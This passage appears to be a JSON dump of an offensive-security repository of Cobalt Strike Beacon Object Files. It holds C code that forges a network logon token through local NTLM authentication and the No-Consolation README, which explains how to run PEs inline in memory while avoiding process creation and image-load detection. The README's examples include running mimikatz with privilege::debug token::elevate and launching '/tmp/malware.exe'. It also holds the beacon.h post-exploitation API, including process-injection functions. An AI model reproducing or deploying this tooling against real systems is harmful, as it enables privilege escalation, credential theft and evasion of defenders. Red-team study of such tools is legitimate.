MAX_MESSAGE_SIZE;\n    authenticateBuffer.BufferType = SECBUFFER_TOKEN;\n    authenticateBuffer.pvBuffer = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_MESSAGE_SIZE);\n    secStatus = SECUR32$InitializeSecurityContextA(NULL, &clientContextHandle, NULL, 0, 0, SECURITY_NATIVE_DREP, &challengeDesc, 0, &clientContextHandle, &authenticateDesc, &clientContextAttributes, &lifetimeClient);\n    if (!SEC_SUCCESS(secStatus)) {\n        BeaconPrintf(CALLBACK_ERROR, \"InitializeSecurityContext Type 3 failed with secstatus code 0x%x \\n\", secStatus);\n        return NULL;\n    }\n\n    secStatus = SECUR32$AcceptSecurityContext(NULL, &serverContextHandle, &authenticateDesc, 0, SECURITY_NATIVE_DREP, &serverContextHandle, NULL, &serverContextAttributes, &lifetimeServer);\n    if (!SEC_SUCCESS(secStatus)) {\n        BeaconPrintf(CALLBACK_ERROR, \"AcceptSecurityContext failed with secstatus code 0x%x \\n\", secStatus);\n        return NULL;\n    }\n    SECUR32$QuerySecurityContextToken(&serverContextHandle, &hTokenNetwork);\n\n    KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, negotiateBuffer.pvBuffer);\n    KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, challengeBuffer.pvBuffer);\n    KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, authenticateBuffer.pvBuffer);\n    SECUR32$FreeCredentialsHandle(&hCredClient);\n    SECUR32$FreeCredentialsHandle(&hCredServer);\n    SECUR32$DeleteSecurityContext(&clientContextHandle);\n    SECUR32$DeleteSecurityContext(&serverContextHandle);\n\n    return hTokenNetwork;\n}\n\nvoid CheckTokenSession(HANDLE hToken) {\n    DWORD retLenght = 0;\n    DWORD tokenSessionId = 0;\n    if (!ADVAPI32$GetTokenInformation(hToken, TokenSessionId, &tokenSessionId, sizeof(DWORD), &retLenght)) {\n        BeaconPrintf(CALLBACK_ERROR, \"GetTokenInformation failed with error code %d \\n\", KERNEL32$GetLastError());\n        return;\n    }\n    // This should be always true for Windows versions <= 10 Build 1809 \n    if (tokenSessionId == 0)\n        BeaconPrintf(CALLBACK_OUTPUT,\"Forged Token Session ID set to 0. Older Win version detected, lsasrv!LsapApplyLoopbackSessionId probably not present here...\\n\");\n    else\n        BeaconPrintf(CALLBACK_OUTPUT,\"Forged Token Session ID set to %d. lsasrv!LsapApplyLoopbackSessionId adjusted the token to our current session \\n\", tokenSessionId);\n}\n\nBOOL IsThreadTokenIdentification() {\n    HANDLE hTokenImp;\n    SECURITY_IMPERSONATION_LEVEL impLevel;\n    DWORD retLenght = 0;\n    if(!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hTokenImp)) {\n        BeaconPrintf(CALLBACK_ERROR, \"OpenThreadToken failed with error code %d \\n\", KERNEL32$GetLastError());\n        return FALSE;\n    }\n    if (!ADVAPI32$GetTokenInformation(hTokenImp, TokenImpersonationLevel, &impLevel, sizeof(SECURITY_IMPERSONATION_LEVEL), &retLenght)) {\n        BeaconPrintf(CALLBACK_ERROR, \"GetTokenInformation failed with error code %d \\n\", KERNEL32$GetLastError());\n        return FALSE;\n    }\n    if (impLevel < SecurityImpersonation)\n        return TRUE;\n    else\n        return FALSE;\n    KERNEL32$CloseHandle(hTokenImp);\n}"
  },
  {
    "path": "Execution-BOF/CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 3.16)\n#project(Execution-BOF C)\n\nset(CMAKE_C_STANDARD 99)\n\n# Include directories (main _include is at root level)\ninclude_directories(${CMAKE_SOURCE_DIR}/_include)\n\n# Source files\nset(EXECUTE_ASSEMBLY_SOURCES execute-assembly/inlineExecute-Assembly.c)\n\n# Compiler flags\nset(CMAKE_C_FLAGS \"${CMAKE_C_FLAGS} -Os -w -Wno-incompatible-pointer-types\")\nset(CMAKE_C_FLAGS_RELEASE \"${CMAKE_C_FLAGS_RELEASE} -s\")\n\n# Object file targets\nadd_library(execute-assembly OBJECT ${EXECUTE_ASSEMBLY_SOURCES})\n\n# Subdirectory (commented out - directory doesn't have CMakeLists.txt)\n# add_subdirectory(No-Consolation)\n\n# Create _bin directory\nfile(MAKE_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}/_bin)\n\n# Custom command to copy object file to _bin\nadd_custom_target(copy_execute-assembly ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:execute-assembly> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/execute-assembly.x64.o\n    DEPENDS execute-assembly\n    COMMENT \"Copying execute-assembly object file\"\n)\n"
  },
  {
    "path": "Execution-BOF/Makefile",
    "content": "all: bof\n\nbof:\n\t@(mkdir _bin 2>/dev/null) && echo '[+] creating _bin' || echo '[!] _bin exists'\n\t@(x86_64-w64-mingw32-gcc -w -Wno-incompatible-pointer-types -Os -s -I ../_include -c -o _bin/execute-assembly.x64.o execute-assembly/inlineExecute-Assembly.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/execute-assembly.x64.o) && echo '[+] execute-assembly' || echo '[!] execute-assembly build failed'\n\n\t@$(MAKE) --no-print-directory -C No-Consolation\n\t@cp No-Consolation/_bin/*.o _bin/\n\n\nclean:\n\t@(rm -rf _bin)"
  },
  {
    "path": "Execution-BOF/No-Consolation/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2024 Fortra\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "Execution-BOF/No-Consolation/Makefile",
    "content": "BOFNAME := NoConsolation\nCC_x64 := x86_64-w64-mingw32-gcc\nCC_x86 := i686-w64-mingw32-gcc\nSTRIP_x64 := x86_64-w64-mingw32-strip\nSTRIP_x86 := i686-w64-mingw32-strip\nOPTIONS := -masm=intel -Wall -I include\n\nrelease:\n\t@(mkdir _bin 2>/dev/null) && echo 'creating _bin' || echo '_bin exists'\n\t@($(CC_x64) -c source/entry.c -o _bin/$(BOFNAME).x64.o $(OPTIONS) && $(STRIP_x64) --strip-unneeded _bin/$(BOFNAME).x64.o) && echo '[+] NoConsolation x64' || echo '[!] NoConsolation x64'\n\t@($(CC_x86) -c source/entry.c -o _bin/$(BOFNAME).x86.o $(OPTIONS) && $(STRIP_x86) --strip-unneeded _bin/$(BOFNAME).x86.o) && echo '[+] NoConsolation x86' || echo '[!] NoConsolation x86'\n\nclean:\n\t@(rm -rf _bin)"
  },
  {
    "path": "Execution-BOF/No-Consolation/README.md",
    "content": "# No-Consolation\n\nThis is a Beacon Object File (BOF) that executes unmanaged PEs inline and retrieves their output without allocating a console (i.e. spawning `conhost.exe`).  \n\n## Features\n- Supports 64 and 32 bits\n- Supports EXEs and DLLs\n- Does not create new processes\n- Does not create new threads\n- Links modules to the PEB\n- Saves binaries in memory\n- Supports C++ exceptions (x64 only)\n- Custom loads all dependencies\n\n## Usage\n```\nUsage:    noconsolation [--local] [--inthread] [--link-to-peb] [--dont-unload] [--timeout 60] [-k] [--method funcname] [-w] [--no-output] [--alloc-console] [--close-handles] [--free-libraries wininet.dll,winhttp.dll] [--dont-save] [--list-pes] [--unload-pe pename] [--load-all-dependencies] [--load-all-dependencies-but advapi32.dll] [--load-dependencies wininet.dll] [--search-paths C:\\Windows\\Temp\\] /path/to/binary.exe arg1 arg2\n\nArguments:\n    [--local]                   : BOOL.     The binary should be loaded from the target Windows machine\n    [--inthread]                : BOOL.     Run the PE with the main thread. This might hang your agent depending on the PE and its arguments\n    [--link-to-peb]             : BOOL.     Load the PE into the PEB\n    [--dont-unload]             : BOOL.     If set, the DLL won't be unloaded\n    [--timeout NUM_SECONDS]     : INT.      The number of seconds you wish to wait for the PE to complete running. Default 60 seconds. Set to 0 to disable\n    [-k]                        : BOOL.     Overwrite the PE headers\n    [--method EXPORT_NAME]      : STRING.   Method or function name to execute in case of DLL. If not provided, DllMain will be executed\n    [-w]                        : BOOL.     Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)\n    [-no]                       : BOOL.     Do not try to obtain the output\n    [-ac]                       : BOOL.     Allocate a console. This will spawn a new process\n    [-ch]                       : BOOL.     Close Pipe handles once finished. If PowerShell was already ran, this will break the output for PowerShell in the future\n    [--free-libraries FL_DLLS]  : STRING.   List of DLLs (DLL_A,DLL_B) (previously loaded with --dont-unload) to be offloaded\n    [--dont-save]               : BOOL.     Do not save this binary in memory\n    [--list-pes]                : BOOL.     List all PEs that have been loaded in memory\n    [--unload-pe PE_NAME]       : STRING.   Unload from memory a PE\n    [-lad]                      : BOOL.     Custom load all the PE's dependencies\n    [-ladb LADB_DLLS]           : STRING.   Custom load all the PE's dependencies except these (DLL_A,DLL_B)\n    [-ld LD_DLLS]               : STRING.   Custom load these PE's dependencies (DLL_A,DLL_B)\n    [-sp PATHS ]                : STRING.   Look for DLLs on these paths (PATH_A,PATH_B) (system32 is the default)\n    <binary>                    : STRING.   Full path to the windows EXE/DLL you wish you run inside agent. If already loaded, you can simply specify the binary name.\n    [args]                      : STRING.   Parameters for the PE. Must be provided after the path\n\n    Example: noconsolation --local C:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe $ExecutionContext.SessionState.LanguageMode\n    Example: noconsolation /tmp/mimikatz.exe privilege::debug token::elevate exit\n    Example: noconsolation --local C:\\windows\\system32\\cmd.exe /c ipconfig\n    Example: noconsolation --list-pes\n    Example: noconsolation LoadedBinary.exe args\n```\n\n## Loading binaries into memory\nBinaries are automatically encrypted and stored in memory after they are ran the first time. This means that you do not need to constantly send the binary over the wire.  \nTo execute a binary that has already been saved in memory, simply specify its name instead of its entire path. So, instead of running:\n```\nnoconsolation --local C:\\windows\\system32\\cmd.exe /c ipconfig\n```\nYou would run:\n```\nnoconsolation cmd.exe /c ipconfig\n```\n\nTo list all binaries loaded in memory, run `--list-pes`.  \nIf you are done with some binary and wish to unload it, run `--unload-pe mimikatz.exe`.  \nFinally, if you want to run a binary without it being automatically loaded in memory, run it with `--dont-save`.  \n\n\n## Loading PE's dependencies\nYou can avoid all image load events by custom loading all the PE's depdendencies:\n```\nnoconsolation -ld --link-to-peb /tmp/malware.exe\n```\nAfter execution is completed, the PE and its dependencies will be offloaded automatically.  \nDLLs that use Thread Local Storage are not supported.  \n\n\n## Credits\n- [Octoberfest7](https://twitter.com/octoberfest73) for [Inline-Execute-PE](https://github.com/Octoberfest7/Inline-Execute-PE) which was my inspiration for this project\n- [modexp](https://twitter.com/modexpblog) and [TheWover](https://twitter.com/TheRealWover) for the PE load logic from [donut](https://github.com/TheWover/donut)\n- [rad9800](https://twitter.com/rad9800) for his [HWBP engine](https://github.com/rad9800/hwbp4mw)\n- [batsec](https://twitter.com/_batsec_) for [DarkLoadLibrary](https://github.com/bats3c/DarkLoadLibrary)\n- [aidankhoury](https://twitter.com/aidankhoury) for [ApiSet](https://github.com/ajkhoury/ApiSet)\n- [bb107](https://github.com/bb107) for [MemoryModulePP](https://github.com/bb107/MemoryModulePP)\n"
  },
  {
    "path": "Execution-BOF/No-Consolation/include/apisetlookup.h",
    "content": "/**\n * API Set Lookup\n * Copyright (c) 2018-2019 Aidan Khoury. All rights reserved.\n *\n * @file apiset.h\n * @author Aidan Khoury (ajkhoury)\n * @date 11/22/2018\n */\n\n#pragma once\n\n//\n// API schema definitions.\n//\n\n#define API_SET_SCHEMA_VERSION_V2 0x00000002\n#define API_SET_SCHEMA_VERSION_V3 0x00000003 // No offline support.\n#define API_SET_SCHEMA_VERSION_V4 0x00000004\n#define API_SET_SCHEMA_VERSION_V6 0x00000006\n\nPCHAR api_set_resolve(\n    IN PCHAR dll_name);\n"
  },
  {
    "path": "Execution-BOF/No-Consolation/include/beacon.h",
    "content": "/*\n * Beacon Object Files (BOF)\n * -------------------------\n * A Beacon Object File is a light-weight post exploitation tool that runs\n * with Beacon's inline-execute command.\n *\n * Additional BOF resources are available here:\n *   - https://github.com/Cobalt-Strike/bof_template\n *\n * Cobalt Strike 4.x\n * ChangeLog:\n *    1/25/2022: updated for 4.5\n *    7/18/2023: Added BeaconInformation API for 4.9\n *    7/31/2023: Added Key/Value store APIs for 4.9\n *                  BeaconAddValue, BeaconGetValue, and BeaconRemoveValue\n *    8/31/2023: Added Data store APIs for 4.9\n *                  BeaconDataStoreGetItem, BeaconDataStoreProtectItem,\n *                  BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries\n *    9/01/2023: Added BeaconGetCustomUserData API for 4.9\n */\n\n/* data API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} datap;\n\nDECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);\nDECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);\nDECLSPEC_IMPORT int     BeaconDataInt(datap * parser);\nDECLSPEC_IMPORT short   BeaconDataShort(datap * parser);\nDECLSPEC_IMPORT int     BeaconDataLength(datap * parser);\nDECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);\n\n/* format API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} formatp;\n\nDECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);\nDECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);\nDECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);\nDECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);\nDECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);\n\n/* Output Functions */\n#define CALLBACK_OUTPUT      0x0\n#define CALLBACK_OUTPUT_OEM  0x1e\n#define CALLBACK_OUTPUT_UTF8 0x20\n#define CALLBACK_ERROR       0x0d\n\nDECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);\nDECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);\n\n\n/* Token Functions */\nDECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);\nDECLSPEC_IMPORT void   BeaconRevertToken();\nDECLSPEC_IMPORT BOOL   BeaconIsAdmin();\n\n/* Spawn+Inject Functions */\nDECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);\nDECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);\nDECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);\n\n/* Utility Functions */\nDECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);\n\n/* Beacon Information */\n/*\n *  ptr  - pointer to the base address of the allocated memory.\n *  size - the number of bytes allocated for the ptr.\n */\ntypedef struct {\n\tchar * ptr;\n\tsize_t size;\n} HEAP_RECORD;\n#define MASK_SIZE 13\n\n/*\n *  sleep_mask_ptr        - pointer to the sleep mask base address\n *  sleep_mask_text_size  - the sleep mask text section size\n *  sleep_mask_total_size - the sleep mask total memory size\n *\n *  beacon_ptr   - pointer to beacon's base address\n *                 The stage.obfuscate flag affects this value when using CS default loader.\n *                    true:  beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)\n *                    false: beacon_ptr = allocated_buffer (A valid address)\n *                 For a UDRL the beacon_ptr will be set to the 1st argument to DllMain\n *                 when the 2nd argument is set to DLL_PROCESS_ATTACH.\n *  sections     - list of memory sections beacon wants to mask. These are offset values\n *                 from the beacon_ptr and the start value is aligned on 0x1000 boundary.\n *                 A section is denoted by a pair indicating the start and end offset values.\n *                 The list is terminated by the start and end offset values of 0 and 0.\n *  heap_records - list of memory addresses on the heap beacon wants to mask.\n *                 The list is terminated by the HEAP_RECORD.ptr set to NULL.\n *  mask         - the mask that beacon randomly generated to apply\n */\ntypedef struct {\n\tchar  * sleep_mask_ptr;\n\tDWORD   sleep_mask_text_size;\n\tDWORD   sleep_mask_total_size;\n\n\tchar  * beacon_ptr;\n\tDWORD * sections;\n\tHEAP_RECORD * heap_records;\n\tchar    mask[MASK_SIZE];\n} BEACON_INFO;\n\nDECLSPEC_IMPORT void   BeaconInformation(BEACON_INFO * info);\n\n/* Key/Value store functions\n *    These functions are used to associate a key to a memory address and save\n *    that information into beacon.  These memory addresses can then be\n *    retrieved in a subsequent execution of a BOF.\n *\n *    key - the key will be converted to a hash which is used to locate the\n *          memory address.\n *\n *    ptr - a memory address to save.\n *\n * Considerations:\n *    - The contents at the memory address is not masked by beacon.\n *    - The contents at the memory address is not released by beacon.\n *\n */\nDECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);\nDECLSPEC_IMPORT void * BeaconGetValue(const char * key);\nDECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);\n\n/* Beacon Data Store functions\n *    These functions are used to access items in Beacon's Data Store.\n *    BeaconDataStoreGetItem returns NULL if the index does not exist.\n *\n *    The contents are masked by default, and BOFs must unprotect the entry\n *    before accessing the data buffer. BOFs must also protect the entry\n *    after the data is not used anymore.\n *\n */\n\n#define DATA_STORE_TYPE_EMPTY 0\n#define DATA_STORE_TYPE_GENERAL_FILE 1\n\ntypedef struct {\n\tint type;\n\tDWORD64 hash;\n\tBOOL masked;\n\tchar* buffer;\n\tsize_t length;\n} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;\n\nDECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);\nDECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index);\nDECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index);\nDECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries();\n\n/* Beacon User Data functions */\nDECLSPEC_IMPORT char * BeaconGetCustomUserData();"
  },
  {
    "path": "Execution-BOF/No-Consolation/include/bofdefs.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <winternl.h>\n\n#define intAlloc(size) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size)\n#define intFree(addr) HeapFree(GetProcessHeap(), 0, addr)\n\n#define RTL_UPCASE(wch) (     \\\n    ((wch) < 'a' ?            \\\n        (wch)                 \\\n    :                         \\\n        ((wch) <= 'z' ?       \\\n            (wch) - ('a'-'A') \\\n        :                     \\\n            ((WCHAR)(wch))    \\\n        )                     \\\n    )                         \\\n)\n\n#define RTL_DOWNCASE(wch) (   \\\n    ((wch) < 'A' ?            \\\n        (wch)                 \\\n    :                         \\\n        ((wch) <= 'Z' ?       \\\n            (wch) + ('a'-'A') \\\n        :                     \\\n            ((WCHAR)(wch))    \\\n        )                     \\\n    )                         \\\n)\n\n#define LDR_HASH_TABLE_ENTRIES 32\n\n#define GDI_HANDLE_BUFFER_SIZE32 34\n#define GDI_HANDLE_BUFFER_SIZE64 60\n\n#ifdef _WIN64\n    #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64\n#endif\n\n#ifndef _WIN64\n    #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32\n#endif\n\ntypedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];\n\ntypedef struct _RTL_BALANCED_NODE\n{\n    union\n    {\n        struct _RTL_BALANCED_NODE *Children[2];\n        struct\n        {\n            struct _RTL_BALANCED_NODE *Left;\n            struct _RTL_BALANCED_NODE *Right;\n        };\n    };\n    union\n    {\n        UCHAR Red : 1;\n        UCHAR Balance : 2;\n        ULONG_PTR ParentValue;\n    };\n} RTL_BALANCED_NODE, *PRTL_BALANCED_NODE;\n\ntypedef struct _RTL_RB_TREE {\n    PRTL_BALANCED_NODE Root;\n    PRTL_BALANCED_NODE Min;\n} RTL_RB_TREE, * PRTL_RB_TREE;\n\ntypedef struct _API_SET_NAMESPACE\n{\n    ULONG Version;\n    ULONG Size;\n    ULONG Flags;\n    ULONG Count;\n    ULONG EntryOffset;\n    ULONG HashOffset;\n    ULONG HashFactor;\n} API_SET_NAMESPACE, *PAPI_SET_NAMESPACE;\n\n//\n// API set schema version 6.\n//\n\ntypedef struct _API_SET_NAMESPACE_V6 {\n    ULONG Version;\n    ULONG Size;\n    ULONG Flags;\n    ULONG Count;\n    ULONG EntryOffset;  // API_SET_NAMESPACE_ENTRY_V6\n    ULONG HashOffset;   // API_SET_NAMESPACE_HASH_ENTRY_V6\n    ULONG HashFactor;\n} API_SET_NAMESPACE_V6, *PAPI_SET_NAMESPACE_V6;\n\ntypedef struct _API_SET_NAMESPACE_ENTRY_V6 {\n    ULONG Flags;\n    ULONG NameOffset;\n    ULONG NameLength;\n    ULONG HashedLength;\n    ULONG ValueOffset;\n    ULONG ValueCount;\n} API_SET_NAMESPACE_ENTRY_V6, *PAPI_SET_NAMESPACE_ENTRY_V6;\n\ntypedef struct _API_SET_HASH_ENTRY_V6 {\n    ULONG Hash;\n    ULONG Index;\n} API_SET_HASH_ENTRY_V6, *PAPI_SET_HASH_ENTRY_V6;\n\ntypedef struct _API_SET_VALUE_ENTRY_V6 {\n    ULONG Flags;\n    ULONG NameOffset;\n    ULONG NameLength;\n    ULONG ValueOffset;\n    ULONG ValueLength;\n} API_SET_VALUE_ENTRY_V6, *PAPI_SET_VALUE_ENTRY_V6;\n\ntypedef const API_SET_VALUE_ENTRY_V6 *PCAPI_SET_VALUE_ENTRY_V6;\ntypedef const API_SET_HASH_ENTRY_V6 *PCAPI_SET_HASH_ENTRY_V6;\ntypedef const API_SET_NAMESPACE_ENTRY_V6 *PCAPI_SET_NAMESPACE_ENTRY_V6;\ntypedef const API_SET_NAMESPACE_V6 *PCAPI_SET_NAMESPACE_V6;\n\n\n//\n// API set schema version 4.\n//\n\ntypedef struct _API_SET_VALUE_ENTRY_V4 {\n    ULONG Flags;        // 0x00\n    ULONG NameOffset;   // 0x04\n    ULONG NameLength;   // 0x08\n    ULONG ValueOffset;  // 0x0C\n    ULONG ValueLength;  // 0x10\n} API_SET_VALUE_ENTRY_V4, *PAPI_SET_VALUE_ENTRY_V4;\n\ntypedef struct _API_SET_VALUE_ARRAY_V4 {\n    ULONG Flags;        // 0x00\n    ULONG Count;        // 0x04\n    API_SET_VALUE_ENTRY_V4 Array[ANYSIZE_ARRAY];\n} API_SET_VALUE_ARRAY_V4, *PAPI_SET_VALUE_ARRAY_V4;\n\ntypedef struct _API_SET_NAMESPACE_ENTRY_V4 {\n    ULONG Flags;\n    ULONG NameOffset;\n    ULONG NameLength;\n    ULONG AliasOffset;\n    ULONG AliasLength;\n    ULONG DataOffset;   // API_SET_VALUE_ARRAY_V4\n} API_SET_NAMESPACE_ENTRY_V4, *PAPI_SET_NAMESPACE_ENTRY_V4;\n\ntypedef struct _API_SET_NAMESPACE_ARRAY_V4 {\n    ULONG Version;      // 0x00\n    ULONG Size;         // 0x04\n    ULONG Flags;        // 0x08\n    ULONG Count;        // 0x0C\n    API_SET_NAMESPACE_ENTRY_V4 Array[ANYSIZE_ARRAY];\n} API_SET_NAMESPACE_ARRAY_V4, *PAPI_SET_NAMESPACE_ARRAY_V4;\n\ntypedef const API_SET_VALUE_ENTRY_V4 *PCAPI_SET_VALUE_ENTRY_V4;\ntypedef const API_SET_VALUE_ARRAY_V4 *PCAPI_SET_VALUE_ARRAY_V4;\ntypedef const API_SET_NAMESPACE_ENTRY_V4 *PCAPI_SET_NAMESPACE_ENTRY_V4;\ntypedef const API_SET_NAMESPACE_ARRAY_V4 *PCAPI_SET_NAMESPACE_ARRAY_V4;\n\n#define API_SET_SCHEMA_FLAGS_SEALED              0x00000001\n#define API_SET_SCHEMA_FLAGS_HOST_EXTENSION      0x00000002\n\n#define API_SET_SCHEMA_ENTRY_FLAGS_SEALED        0x00000001\n#define API_SET_SCHEMA_ENTRY_FLAGS_EXTENSION     0x00000002\n\n//\n// API set schema version 3.\n//\n\ntypedef struct _API_SET_VALUE_ENTRY_V3 {\n    ULONG NameOffset;\n    ULONG NameLength;\n    ULONG ValueOffset;\n    ULONG ValueLength;\n} API_SET_VALUE_ENTRY_V3, *PAPI_SET_VALUE_ENTRY_V3;\n\ntypedef struct _API_SET_VALUE_ARRAY_V3 {\n    ULONG Count;\n    API_SET_VALUE_ENTRY_V3 Array[ANYSIZE_ARRAY];\n} API_SET_VALUE_ARRAY_V3, *PAPI_SET_VALUE_ARRAY_V3;\n\ntypedef struct _API_SET_NAMESPACE_ENTRY_V3 {\n    ULONG NameOffset;\n    ULONG NameLength;\n    ULONG DataOffset;   // API_SET_VALUE_ARRAY_V3\n} API_SET_NAMESPACE_ENTRY_V3, *PAPI_SET_NAMESPACE_ENTRY_V3;\n\ntypedef struct _API_SET_NAMESPACE_ARRAY_V3 {\n    ULONG Version;\n    ULONG Count;\n    API_SET_NAMESPACE_ENTRY_V3 Array[ANYSIZE_ARRAY];\n} API_SET_NAMESPACE_ARRAY_V3, *PAPI_SET_NAMESPACE_ARRAY_V3;\n\ntypedef const API_SET_VALUE_ENTRY_V3 *PCAPI_SET_VALUE_ENTRY_V3;\ntypedef const API_SET_VALUE_ARRAY_V3 *PCAPI_SET_VALUE_ARRAY_V3;\ntypedef const API_SET_NAMESPACE_ENTRY_V3 *PCAPI_SET_NAMESPACE_ENTRY_V3;\ntypedef const API_SET_NAMESPACE_ARRAY_V3 *PCAPI_SET_NAMESPACE_ARRAY_V3;\n\n//\n// Support for downlevel API set schema version 2.\n//\n\ntypedef struct _API_SET_VALUE_ENTRY_V2 {\n    ULONG NameOffset;\n    ULONG NameLength;\n    ULONG ValueOffset;\n    ULONG ValueLength;\n} API_SET_VALUE_ENTRY_V2, *PAPI_SET_VALUE_ENTRY_V2;\n\ntypedef struct _API_SET_VALUE_ARRAY_V2 {\n    ULONG Count;\n    API_SET_VALUE_ENTRY_V2 Array[ANYSIZE_ARRAY];\n} API_SET_VALUE_ARRAY_V2, *PAPI_SET_VALUE_ARRAY_V2;\n\ntypedef struct _API_SET_NAMESPACE_ENTRY_V2 {\n    ULONG NameOffset;\n    ULONG NameLength;\n    ULONG DataOffset;   // API_SET_VALUE_ARRAY_V2\n} API_SET_NAMESPACE_ENTRY_V2, *PAPI_SET_NAMESPACE_ENTRY_V2;\n\ntypedef struct _API_SET_NAMESPACE_ARRAY_V2 {\n    ULONG Version;\n    ULONG Count;\n    API_SET_NAMESPACE_ENTRY_V2 Array[ANYSIZE_ARRAY];\n} API_SET_NAMESPACE_ARRAY_V2, *PAPI_SET_NAMESPACE_ARRAY_V2;\n\ntypedef const API_SET_VALUE_ENTRY_V2 *PCAPI_SET_VALUE_ENTRY_V2;\ntypedef const API_SET_VALUE_ARRAY_V2 *PCAPI_SET_VALUE_ARRAY_V2;\ntypedef const API_SET_NAMESPACE_ENTRY_V2 *PCAPI_SET_NAMESPACE_ENTRY_V2;\ntypedef const API_SET_NAMESPACE_ARRAY_V2 *PCAPI_SET_NAMESPACE_ARRAY_V2;\n\ntypedef struct _PEB_LDR_DATA2\n{\n    ULONG Length;\n    BOOLEAN Initialized;\n    PVOID SsHandle;\n    LIST_ENTRY InLoadOrderModuleList;\n    LIST_ENTRY InMemoryOrderModuleList;\n    LIST_ENTRY InInitializationOrderModuleList;\n    PVOID EntryInProgress;\n#if (NTDDI_VERSION >= NTDDI_WIN7)\n    UCHAR ShutdownInProgress;\n    PVOID ShutdownThreadId;\n#endif\n} PEB_LDR_DATA2, *PPEB_LDR_DATA2;\n\ntypedef enum _LDR_DLL_LOAD_REASON\n{\n    LoadReasonStaticDependency,\n    LoadReasonStaticForwarderDependency,\n    LoadReasonDynamicForwarderDependency,\n    LoadReasonDelayloadDependency,\n    LoadReasonDynamicLoad,\n    LoadReasonAsImageLoad,\n    LoadReasonAsDataLoad,\n    LoadReasonEnclavePrimary, // REDSTONE3\n    LoadReasonEnclaveDependency,\n    LoadReasonUnknown = -1\n} LDR_DLL_LOAD_REASON, *PLDR_DLL_LOAD_REASON;\n\ntypedef enum _LDR_DDAG_STATE\n{\n    LdrModulesMerged = -5,\n    LdrModulesInitError = -4,\n    LdrModulesSnapError = -3,\n    LdrModulesUnloaded = -2,\n    LdrModulesUnloading = -1,\n    LdrModulesPlaceHolder = 0,\n    LdrModulesMapping = 1,\n    LdrModulesMapped = 2,\n  